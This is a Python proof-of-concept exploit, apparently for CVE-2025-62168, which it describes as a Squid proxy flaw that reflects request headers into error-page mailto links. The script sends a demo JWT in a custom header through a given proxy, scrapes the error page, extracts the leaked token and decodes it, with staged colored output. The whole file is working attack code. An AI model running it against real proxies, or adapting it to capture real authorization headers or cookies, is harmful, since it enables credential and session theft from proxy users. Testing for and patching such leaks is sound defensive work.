#!/usr/bin/env python3 # -*- coding: utf-8 -*- # krakhen.dev # version 1.2.8 # CVE-2025-62168 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import aiohttp import asyncio import argparse import json import sys from bs4 import BeautifulSoup # ============================ # COLORS # ============================ RED = "\033[31m" GREEN = "\033[32m" YELLOW = "\033[33m" CYAN = "\033[36m" RESET = "\033[0m" def green(x): return GREEN + x + RESET def red(x): return RED + x + RESET def cyan(x): return CYAN + x + RESET def yellow(x): return YELLOW + x + RESET # ============================ # TEST TOKEN (demo only) # ============================ JWT_TOKEN = ( "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." "ewogICJzdWIiOiAiMTIzNDU2Nzg5MCIsCiAgIm5hbWUiOiAia3Jha2hlbi5kZXYiLAog" "ICJhZG1pbiI6IHRydWUsCiAgImlhdCI6IDE1MTYyMzkwMjIKfQo." "LspWRdaIXcXllUuABCsYXRqBoKseG5vlb_YIW259aiU" ) INJECTED_HEADER = {"X-Test-Leak": JWT_TOKEN} UA = "krakhen.dev-cve-2025-62168-poc" # ============================ # HTTP REQUEST → triggers Squid error page # ============================ async def fetch_error_page(proxy, verbose): target_url = "http://nonexistent.krakhen-test.local/" if verbose: print(cyan("\n[DEBUG] Preparing request...")) print(cyan(f"[DEBUG] Proxy: {proxy}")) print(cyan(f"[DEBUG] Target URL: {target_url}")) print(cyan(f"[DEBUG] Injected header: X-Test-Leak: {JWT_TOKEN}")) print(cyan(f"[DEBUG] User-Agent: {UA}")) print() async with aiohttp.ClientSession( proxy=proxy, headers={ "User-Agent": UA, **INJECTED_HEADER } ) as session: try: async with session.get(target_url, ssl=False) as resp: html = await resp.text() if verbose: print(cyan("[DEBUG] Response headers:")) for k, v in resp.headers.items(): print(cyan(f" {k}: {v}")) print() return html except Exception as e: print(red(f"[ERROR] Proxy request failed: {e}")) return "" # ============================ # Parse mailto block from Squid error page # ============================ def parse_mailto(html): soup = BeautifulSoup(html, "html.parser") tag = soup.find("a", href=lambda x: x and x.startswith("mailto:")) if not tag: return "" return tag["href"] # ============================ # Extract leaked token from mailto # ============================ def extract_token(mailto): # Decode the most relevant parts of the mailto body decoded = ( mailto .replace("%0D%0A", "\n") .replace("%3A", ": ") .replace("%20", " ") ) for line in decoded.split("\n"): if "X-Test-Leak" in line: return line.split("X-Test-Leak: ")[1].strip() return None # ============================ # JWT Decoder (no signature validation) # ============================ def decode_jwt(token): head, payload, sig = token.split(".") import base64 def fix_padding(x: str) -> str: return x + "=" * ((4 - len(x) % 4) % 4) h_json = json.loads(base64.urlsafe_b64decode(fix_padding(head))) p_json = json.loads(base64.urlsafe_b64decode(fix_padding(payload))) return h_json, p_json, sig # ============================ # Main logic (visual + verbose) # ============================ async def run(proxy, verbose): print(green("------------------------------------------------------------")) print(green(" STEP 1 — Connecting to proxy...")) print(green("------------------------------------------------------------")) print(f" Proxy: {proxy}") print(green("\n------------------------------------------------------------")) print(green(" STEP 2 — Sending request with injected token...")) print(green("------------------------------------------------------------")) print(yellow(f" Injected Header: X-Test-Leak: {yellow(JWT_TOKEN[:40] + '...')}")) html = await fetch_error_page(proxy, verbose) print(green("\n------------------------------------------------------------")) print(green(" STEP 3 — Server responded, extracting error page...")) print(green("------------------------------------------------------------")) print(green("\n------------------------------------------------------------")) print(green(" STEP 4 — Parsing mailto block from Squid error page...")) print(green("------------------------------------------------------------")) # parser mailto_raw = parse_mailto(html) # return string # token color inside mailto if JWT_TOKEN in mailto_raw: mailto_highlight = mailto_raw.replace(JWT_TOKEN, yellow(JWT_TOKEN)) else: mailto_highlight = mailto_raw print(mailto_highlight) # extract real token from mailto_raw leaked_token = extract_token(mailto_raw) print(green("\n------------------------------------------------------------")) print(green(" STEP 5 — TOKEN LEAK CONFIRMED")) print(green("------------------------------------------------------------")) print(red(f" {leaked_token}\n")) print(green("------------------------------------------------------------")) print(green(" STEP 6 — Decoding JWT token...")) print(green("------------------------------------------------------------")) h, p, s = decode_jwt(leaked_token) print(cyan("Header:")) print(json.dumps(h, indent=4)) print() print(cyan("Payload:")) print(json.dumps(p, indent=4)) print() print(cyan("Signature:")) print(s) print() if verbose: print(cyan("\n---------------- RAW HTML (DEBUG) ----------------")) print(html) print(cyan("--------------------------------------------------")) print(green("\n------------------------------------------------------------")) print(green(" DONE — PoC completed successfully.")) print(green("------------------------------------------------------------")) # ============================ # CLI # ============================ if __name__ == "__main__": parser = argparse.ArgumentParser( description="PoC for CVE-2025-62168 — Squid Proxy token leak via error page header reflection.", epilog="Example:\n python3 cve-2025-62168.py --proxy http://127.0.0.1:3128 --verbose", formatter_class=argparse.RawTextHelpFormatter ) parser.add_argument( "--proxy", required=False, help="Proxy URL (e.g. http://127.0.0.1:3128)" ) parser.add_argument( "--verbose", action="store_true", help="Enable technical debug output" ) args = parser.parse_args() # If no arguments were provided → show help and exit gracefully if not args.proxy: parser.print_help() print("\n[!] Missing required argument: --proxy\n") sys.exit(1) asyncio.run(run(args.proxy, args.verbose))